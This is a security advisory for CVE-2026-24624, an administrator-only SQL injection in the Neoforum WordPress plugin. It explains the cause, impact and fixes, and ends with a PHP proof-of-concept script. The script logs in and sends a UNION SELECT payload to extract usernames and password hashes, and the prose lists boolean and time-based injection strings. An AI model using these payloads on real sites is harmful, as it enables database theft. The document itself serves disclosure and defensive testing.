Atomic Edge analysis of CVE-2026-24624 (metadata-based):
This vulnerability is an authenticated SQL injection in the Neoforum WordPress plugin version 1.0. The flaw allows administrators to execute arbitrary SQL commands through insufficient input sanitization. The CVSS 4.9 score reflects the high confidentiality impact tempered by the requirement for administrator privileges.
Atomic Edge research indicates the root cause is improper neutralization of special elements in SQL commands (CWE-89). The vulnerability description confirms insufficient escaping on user-supplied parameters and lack of prepared statements. Without source code, we infer the plugin likely constructs SQL queries by directly concatenating user input into query strings. This pattern is common in WordPress plugins that bypass the $wpdb class or misuse its methods without proper parameterization.
Exploitation requires administrator-level access to WordPress. Attackers would target AJAX endpoints or admin pages specific to the Neoforum plugin. A likely attack vector is the /wp-admin/admin-ajax.php endpoint with an action parameter containing ‘neoforum’. The malicious payload would be appended to an existing parameter value, using SQL injection techniques like UNION SELECT or time-based blind SQL. Example payloads include ‘ OR 1=1–‘ for boolean-based extraction or ‘; SELECT SLEEP(5)–‘ for time-based confirmation.
Remediation requires implementing proper input validation and parameterized queries. The fix should replace string concatenation with $wpdb->prepare() statements or use WordPress’s built-in database abstraction methods with placeholder syntax. All user input must be validated against expected data types before database interaction. The plugin should also implement strict capability checks even though this vulnerability already requires administrator access.
Successful exploitation enables complete database extraction. Attackers can read sensitive information including password hashes, user emails, private forum content, and WordPress configuration data. While the vulnerability requires administrator privileges, it could facilitate lateral movement if administrators reuse credentials across systems. The attack does not permit direct privilege escalation or remote code execution based on the CWE classification.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24624 - Neoforum <= 1.0 - Authenticated (Administrator+) SQL Injection
<?php
/**
* Proof of Concept for CVE-2026-24624
* ASSUMPTIONS:
* 1. The plugin uses WordPress AJAX handlers with 'neoforum' in action names
* 2. The vulnerable parameter is passed via POST
* 3. Administrator credentials are known
* 4. The plugin is active on the target
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'admin';
$password = 'password';
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Verify authentication by checking for admin dashboard
curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'index.php', $target_url));
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if (strpos($response, 'wp-admin-bar') === false) {
die('Authentication failed');
}
// Step 2: Exploit SQL Injection
// Assuming the plugin uses 'neoforum_action' as AJAX action
// and 'forum_id' as vulnerable parameter
$payload = array(
'action' => 'neoforum_action',
'forum_id' => "1' UNION SELECT user_login,user_pass FROM wp_users WHERE '1'='1",
'nonce' => 'dummy_nonce' // May be required but could be bypassed
);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
$response = curl_exec($ch);
// Parse response for extracted data
if (preg_match_all('/admin:[^<]+/', $response, $matches)) {
echo "Extracted data:n";
foreach ($matches[0] as $match) {
echo htmlspecialchars($match) . "n";
}
} else {
echo "No clear data extraction. Try time-based payload: ' OR SLEEP(5)--n";
}
curl_close($ch);
?>
